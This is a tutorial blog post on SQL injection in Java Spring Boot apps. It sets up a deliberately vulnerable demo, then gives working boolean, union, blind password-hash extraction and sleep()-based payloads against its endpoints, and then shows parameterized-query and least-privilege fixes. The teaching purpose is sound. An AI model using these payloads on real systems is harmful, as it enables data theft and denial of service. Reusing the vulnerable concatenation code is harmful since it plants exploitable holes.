SQL Injection in Java: Practices to Avoid

SQL injection is one of the most common types of vulnerabilities found in web applications. Today, I'm going to explain what SQL injection attacks are and walk you through the process of exploiting a simple Spring Boot-based application. After we've exploited this simple Java app, we'll then learn how to fix the problem.

Sound fun? Let's do it!

Prerequisites

Before starting, make sure you have the following tools installed:

• Java 8
• HTTPie - A simple command line HTTP client
• Docker Desktop - For running MySQL in Docker

Set Up the Exploitable Java Application

Let’s begin by setting up an exploitable Java application. This is a small Java app I built (using Spring Boot 2.2.6) to showcase what SQL injection vulnerabilities look like and how you can fix them.

This application is an employee management system for an organization which has a few different REST endpoints exposed.

Start by downloading this app from GitHub.

git clone https://github.com/gauravkohli/sqlinjection.git
cd sqlinjection

To keep things simple, this app runs using Docker and MySQL. The pre-built Docker image runs MySQL and contains a vulnerable stored procedure which we'll talk more about later.

Run the following command to build the Docker image. This will enable you to use this vulnerable database server for testing.

cd docker/sqlinjection
docker build -t sqlinjection_demo:latest .

Once the image has been built, run the command below to start the vulnerable MySQL instance in a Docker container on your local computer.

docker run -p 3306:3306 --name local-mysql -e MYSQL_ROOT_PASSWORD=11asd097asd -d sqlinjection_demo:latest

Finally, launch the Java app by running the following commands.

cd ../../
./mvnw clean install
./mvnw spring-boot:run

Understanding SQL Injection

SQL Injection is a type of attack that exposes vulnerabilities in the database layer of a web application. In this type of attack, an attacker is able to execute SQL queries or statements which the application wouldn’t normally execute.

Being able to run database queries the system didn't intend can allow an attacker to get sensitive application data like usernames, passwords, and financial data. Sometimes, attackers use these vulnerabilities to get information about the underlying database server--like what version is being used, which might help pave the way for more sophisticated attacks.

An important thing to remember is that SQL injection vulnerabilities are not database issues directly, they’re issues with user input validation.

SQL Injection: A Deep Dive

We know that SQL injection vulnerabilities allow attackers to execute database queries, but how do they work?

To answer this question, we're going to look at some vulnerable code to explain how the vulnerability works and how an attacker can take advantage of it.

NOTE: In this example app we’ll look at the code using both JdbcTemplate and JPA.

Let's start with some basic Java JDBC code. The code below is used to filter employees in a organization:

String sql = "select * from employee where name ='" + name + "'";
try (Connection c = dataSource.getConnection();
   ResultSet rs = c.createStatement().executeQuery(sql)) {
   List<Employee> employees = new ArrayList<>();
   while (rs.next()) {
       employees.add(new Employee(
               rs.getLong("id"),
               rs.getString("name"),
               rs.getString("password"),
               Role.valueOf(rs.getString("role"))
       ));
   }
   return employees;
} catch (SQLException ex) {
   throw new RuntimeException(ex);
}

Below is the same functionality using Spring's JdbcTemplate:

jdbcTemplate.query("select * from employee where name ='" + name + "'",
   (rs, rowNum) ->
       new Employee(
               rs.getLong("id"),
               rs.getString("name"),
               rs.getString("password"),
               Role.valueOf(rs.getString("role"))
       )
);

Next, using JPA:

String jql = "from Employee where name = '" + name + "'";
TypedQuery<Employee> q = em.createQuery(jql, Employee.class);
return q.getResultList();

In the snippets above, the executed query is dynamically generated (leveraging string concatenation to pass the parameter values to the function), which is the reason this type of code is vulnerable.

For example, if you have a web application where you ask for a user's name as input, then you execute a SQL query that looks like this:

SELECT * from users WHERE name=<name>

What would happen if an attacker entered their name as "test; DROP ALL TABLES;"? An attacker could "inject" data into queries that you may never have considered when building your application if you don't escape/validate any user-generated SQL statements thoroughly.

Now, let’s use REST endpoints to execute some example requests to our vulnerable Java application and see how they can be exploited.

Below is how you would normally ask the filterUserJdbcUnSafe endpoint to filter employees by the name "Bilbo":

http http://localhost:8080/filterUserJdbcUnSafe name=="Bilbo"

However, what happens if an attacker executes the following query against this endpoint?

http http://localhost:8080/filterUserJdbcUnSafe name=="Bilbo' or '1' = '1"

The above request will generate the SQL query below:

select * from employee where name ='Bilbo' or '1' = '1'

As you can see, this SQL query would fetch all employees in the organization and respond with the following data:

HTTP/1.1 200
Connection: keep-alive
Content-Type: application/json
Date: Sun, 29 Mar 2020 22:19:44 GMT
Keep-Alive: timeout=60
Transfer-Encoding: chunked

[
   {
       "id": 1,
       "name": "Bilbo",
       "role": "MANAGER"
   },
   {
       "id": 2,
       "name": "Frodo",
       "role": "STAFF"
   }
]

This is a real-world example of a SQL injection vulnerability. In this example, the code didn't properly sanitize user input, and as a result, the application is vulnerable.

How Stored Procedures Can Be Vulnerable to SQL Injection

While you may think it safer to use a stored procedure, this is not necessarily the case as again, SQL injection vulnerabilities aren't a database problem, they're a validation problem. As you will soon see, it is certainly possible to write vulnerable code even when using stored procedures.

Let's build a similar query which filters employees by name using a simple stored procedure, filterByUsernameStoredProcedureUnSafe:

DELIMITER $$
CREATE PROCEDURE `filterByUsernameStoredProcedureUnSafe` (in p_name varchar(1000))
begin
SET @SQLString = CONCAT("Select * from employee where name = '", p_name, "'");
PREPARE test FROM @SQLString;
EXECUTE test;
end $$
DELIMITER;

The SQL query in the stored procedure is created using the CONCAT function and the variable p_name is not sanitized. Because of this, an attacker can easily inject SQL statements into the p_name variable.

This is how this stored procedure will be called using JPA:

StoredProcedureQuery filterByUsernameProcedure = em.createNamedStoredProcedureQuery("filterByUsernameStoredProcedureUnSafe");
filterByUsernameProcedure.setParameter("p_name", name);
return filterByUsernameProcedure.getResultList();

If you now execute an HTTP request against this vulnerable endpoint, you'll notice that we have the exact same issues as before:

http http://localhost:8080/filterUserJpaStoredProcedureUnSafe name=="Bilbo' or '1' = '1"

This is why it is so important to always sanitize your user input. Otherwise you end up in situations like this where you potentially give attackers a wide surface area for attack.

Different Types of SQL Injection Techniques

There are several different types of SQL injection vulnerabilities that tend to plague modern applications. Let’s take a look at some of the most common of these techniques.

Boolean-Based SQL Injection

Boolean-Based SQL injection attacks are commonly used by attackers as they allow attackers to get more information from the system than was intended.

For example, say there's a REST endpoint somewhere that displays a list of users who have the name Bilbo (what we did earlier), and this endpoint is vulnerable to SQL injection. Because of this, an attacker can inject a SQL boolean clause to work around the filter constraint of the SQL query.

For example, here's the vulnerable REST endpoint we discussed previously. Let's send a request to the endpoint which should return a list of all users whose name is "Bilbo":

http http://localhost:8080/filterUserJdbcUnSafe name=="Bilbo"

Because this endpoint is vulnerable to SQL injection, it can be used by an attacker to get a list of all employees by adding a SQL boolean clause: "or '1' = '1"":

http http://localhost:8080/filterUserJdbcUnSafe name=="Bilbo' or '1' = '1"

Because this 1=1 statement is true, the or statement will evaluate to true, which will cause the database to ignore the name filter specified.

Union-Based SQL Injection

With union-based SQL injection attacks, the attacker adds a UNION SQL clause to the vulnerable SELECT query yielding a response containing data from the other table which was specified in the UNION SQL clause.

The following HTTP request exploits our vulnerable REST endpoint by utilizing a SQL UNION statement to fetch data from the management.employee_review table.

http http://localhost:8080/filterUserGlobalAccessUnSafe name=="Bilbo' union all select 1, concat(review,'-----',rating),review,  'STAFF'  from management.employee_review where '1'='1"

If you execute this request you'll see the following response:

HTTP/1.1 200
Connection: keep-alive
Content-Type: application/json
Date: Mon, 30 Mar 2020 14:53:34 GMT
Keep-Alive: timeout=60
Transfer-Encoding: chunked

[
   {
       "id": 1,
       "name": "Bilbo",
       "role": "MANAGER"
   },
   {
       "id": 1,
       "name": "Good performance-----5",
       "role": "STAFF"
   },
   {
       "id": 1,
       "name": "okay performance-----3",
       "role": "STAFF"
   }
]

For this attack to work, the attacker needs to know how many columns are returned by the query under usual circumstances and what other data is available, otherwise the column counts won’t match and the query will fail. To get around this issue, an attacker can use the Inference/Blind technique and get details from the INFORMATION_SCHEMA database.

Inference/Blind SQL Injection

Inference SQL injection occurs when a web endpoint doesn't return any confidential data, but its success or failure is used to discover information about a system.

Let's assume an endpoint exists which logs users into a web application returns user details when successful and nothing when unsuccessful. The SQL query this endpoint runs to authenticate the user might look something like this:

select * from employee where name ='Bilbo' and password ='secret'

NOTE: In this example our fictitious database is storing user passwords in plain text. I sincerely hope you will never do this ;)

If the code for the above query is dynamically generated, an attacker might be able to use the password field to inject SQL CASE statements into the query and get details from other databases/table/columns, like so:

select * from employee where name ='Bilbo' and password ='secret' and (select CASE WHEN (substring(authentication_string,1,1) = '$' ) THEN true ELSE false END from mysql.user where User = 'empdb_user') or ''

If an attacker is able to log into the web application after running the above hack, it will tell the hacker that the first character of empdb_user's password is $. Clever, right?

Here's what something like this might look like:

http http://localhost:8080/loginJdbcUnSafe name=="Bilbo" password=="secret' and (select CASE WHEN (substring(authentication_string,1,1) = '$' ) THEN true ELSE false END from  mysql.user where User = 'empdb_user') or '"

Using substring and comparison operators like >, <, =, !=, and binary search, attackers can easily guess all the characters in the password column. This technique can be used to get data out of tables in the INFORMATION_SCHEMA database. While doing this may be time consuming, attackers can use tools like sqlmap to speed up the process.

Time-Based (Slowloris DDoS) SQL Injection

In this type of injection, the hacker tries to introduce a delay function like, sleep(time) or benchmark(count,expr), in the SQL query. As a result, the web request takes longer than usual to respond.

Normally, web applications have a pool of database connections open. A hacker can use this technique to exhaust all these connections quickly. Once all the database connections are queued or sleeping because of delay, the database server stops accepting new connections.

http http://localhost:8080/filterUserJdbcUnSafe name=="Bilbo' + sleep(10)+'"

This technique is very unique, as it doesn’t give you any data from the application, but launches a DDoS attack. It can be used to quickly overwhelm service operators.

How to Prevent SQL Injection Vulnerabilities

By now you should have a decent idea of what SQL injection is and how attackers can utilize it to get into database systems and steal confidential information.

Next, let's take a look at some techniques to prevent SQL injection from happening.

Use Parameterized Queries

Because the main reason SQL injection vulnerabilities exist is dynamically generated SQL queries, one solution is to simply avoid dynamic queries and use PreparedStatements--both while using JdbcTemplates or JPAs. Along with using PreparedStatements, make sure to use placeholders(?) in SQL queries to pass the user input. Never use string concatenation, for example, to generate dynamic SQL.

Here's an example of using JdbcTemplates + PreparedStatements properly:

final String SELECT_SQL = "select * from employee where name = ?";

PreparedStatementCreator statementCreator = new PreparedStatementCreator() {
   @Override
   public PreparedStatement createPreparedStatement(Connection con) throws SQLException {
       PreparedStatement ps = con.prepareStatement(SELECT_SQL);
       ps.setString(1, name);
       return ps;
   }
};
jdbcTemplate.query(statementCreator, (rs, rowNum) ->
   new Employee(
           rs.getLong("id"),
           rs.getString("name"),
           rs.getString("password"),
           Role.valueOf(rs.getString("role"))
   ));

With JPA, use named parameters, like :name. Proper code that isn't vulnerable to SQL injection might look like so:

String jql = "from Employee where name = :name";
TypedQuery<Employee> q = em.createQuery(jql, Employee.class).setParameter("name", name);
return q.getResultList();

Now that you've seen how to rectify unsafe code using JdbcTemplates and JPAs, let's see what happens if an attacker tries to exploit these safe endpoints that have been built properly:

http http://localhost:8080/filterUserJdbcSafe name=="Bilbo' or '1' = '1"
http http://localhost:8080/filterUserJpaSafe name=="Bilbo' or '1' = '1"

The responses in both the above requests would be an empty list, since both request generated a SQL query like the following:

select * from employee where name ="Bilbo' or '1' = '1"

And, because this query doesn’t match any employees, the response will look like this:

HTTP/1.1 200
Connection: keep-alive
Content-Type: application/json
Date: Sun, 29 Mar 2020 22:53:09 GMT
Keep-Alive: timeout=60
Transfer-Encoding: chunked

[]

Problem solved!

Use Stored Procedures

When it comes to writing secure stored procedures, it's very simple. Don’t use EXECUTE statements with dynamic queries and instead use the named parameters.

Here's an example of a secure stored procedure that isn't vulnerable to SQL injection attacks:

DELIMITER $$
CREATE PROCEDURE `FIND_EMPLOYEE`(in p_name varchar(1000))
begin
SELECT * from employee WHERE name = p_name;
end $$
DELIMITER ;

Now go ahead and try to perform a SQL injection attack against this new safe endpoint:

http http://localhost:8080/filterUserJpaStoredProcedureSafe name=="Bilbo' or '1' = '1"

Again, all you'll get back is an empty list, since the filter parameter matches none of the employee's names.

Use the Principle of Least Privilege

Suppose you have multiple databases running on your database server and your vulnerable web application is running with a database account that has access to all these databases. If there's a SQL Injection attack, an attacker will be able to access all these databases and the data across them.

In cases like this, it's always recommended to configure multiple data sources with different database accounts. This restricts the scope of an attack and minimizes the data an attacker has access to.

Let's take a look at how you can configure multiple data sources with JdbcTemplate.

The belows code configures a data source that has access to all the databases running on the server:

@Bean
@ConfigurationProperties("spring.datasource-globalaccess")
public DataSourceProperties globalAccessDataSourceProperties() {
  return new DataSourceProperties();
}

@Bean(name = "globalAccessDataSource")
public DataSource globalAccessDataSource() {
  return globalAccessDataSourceProperties().initializeDataSourceBuilder()
          .type(HikariDataSource.class).build();
}

@Bean("globalAccessJdbcTemplate")
public JdbcTemplate globalAccessJdbcTemplate(@Autowired @Qualifier("globalAccessDataSource") DataSource dataSource) {
  return new JdbcTemplate(dataSource);
}

Let's look at how this can increase the surface area of attack if a SQL injection vulnerability is exploited:

http http://localhost:8080/filterUserGlobalAccessUnSafe name=="Bilbo' union all select 1,concat(review,'----',rating),'something','STAFF' from management.employee_review where '1'='1"

In this example, filterUserGlobalAccessUnSafe is the same function that was used to filter employees by name, however the data source defined for the JdbcTemplate has access to all the databases (including the "management" database). Because of this, the attacker is able to inject code to fetch data from other databases, as well.

You can see that in the response to the above request, we received both info about the user as well as data from the management.employee_review table.

HTTP/1.1 200
Connection: keep-alive
Content-Type: application/json
Date: Sun, 29 Mar 2020 23:10:41 GMT
Keep-Alive: timeout=60
Transfer-Encoding: chunked

[
  {
      "id": 1,
      "name": "Bilbo",
      "role": "MANAGER"
  },
  {
      "id": 1,
      "name": "Good performance----5",
      "role": "STAFF"
  },
  {
      "id": 1,
      "name": "okay performance----3",
      "role": "STAFF"
  }
]

To fix this issue, we need to define a separate JdbcTemplate for each confidential database. Let's configure a data source that has access to only the employee database and see what happens:

@Bean
@Primary
@ConfigurationProperties("spring.datasource-empdb")
public DataSourceProperties empdbDataSourceProperties() {
  return new DataSourceProperties();
}

@Bean(name = "empdbDataSource")
@Primary
public DataSource empdbDataSource() {
  return empdbDataSourceProperties().initializeDataSourceBuilder()
          .type(HikariDataSource.class).build();

}

@Bean("empdbJdbcTemplate")
@Primary
public JdbcTemplate empdbJdbcTemplate(@Autowired @Qualifier("empdbDataSource") DataSource dataSource) {
  return new JdbcTemplate(dataSource);
}

Now, if you attempt the same exploit with JdbcTemplate configured to access the employee database, you will get an error:

http http://localhost:8080/filterUserJdbcUnSafe name=="Bilbo' union all select 1,concat(review,'----',rating),'something','STAFF' from management.employee_review where '1'='1"
HTTP/1.1 500
Connection: close
Content-Type: application/json
Date: Sun, 29 Mar 2020 23:16:36 GMT
Transfer-Encoding: chunked

{
  "error": "Internal Server Error",
  "message": "StatementCallback; bad SQL grammar [select * from employee where name ='Bilbo' union all select 1,concat(review,'----',rating),'something','STAFF' from management.employee_review where '1'='1']; nested exception is java.sql.SQLSyntaxErrorException: SELECT command denied to user 'empdb_user'@'172.17.0.1' for table 'employee_review'",
  "path": "/filterUserJdbcUnSafe",
  "status": 500,
  "timestamp": "2020-03-29T23:16:36.345+0000"
}

SQL Injection in Java: Wrap-Up

Hopefully this has been as interesting to you as it was fun for me.

SQL injection vulnerabilities are rampant across the web, but with a little bit of knowledge and careful engineering, you can easily prevent your applications from being exploited.

Always be sure to sanitize user input carefully and architect your infrastructure in such a way that you reduce the surface area of attack whenever possible.

If you'd like to learn more about SQL injection vulnerabilities, here are some fantastic free tools you can use to help ensure your applications aren't vulnerable which I'd highly recommend:

• SQLMap
• SQLninja
• Safe3 SQL Injector
• SQLSus
• Mole

PS, if you enjoyed this article, you might also enjoy some of our other great security content on the site. We publish in-depth technical tutorials, guides, and information for anyone interested in web security.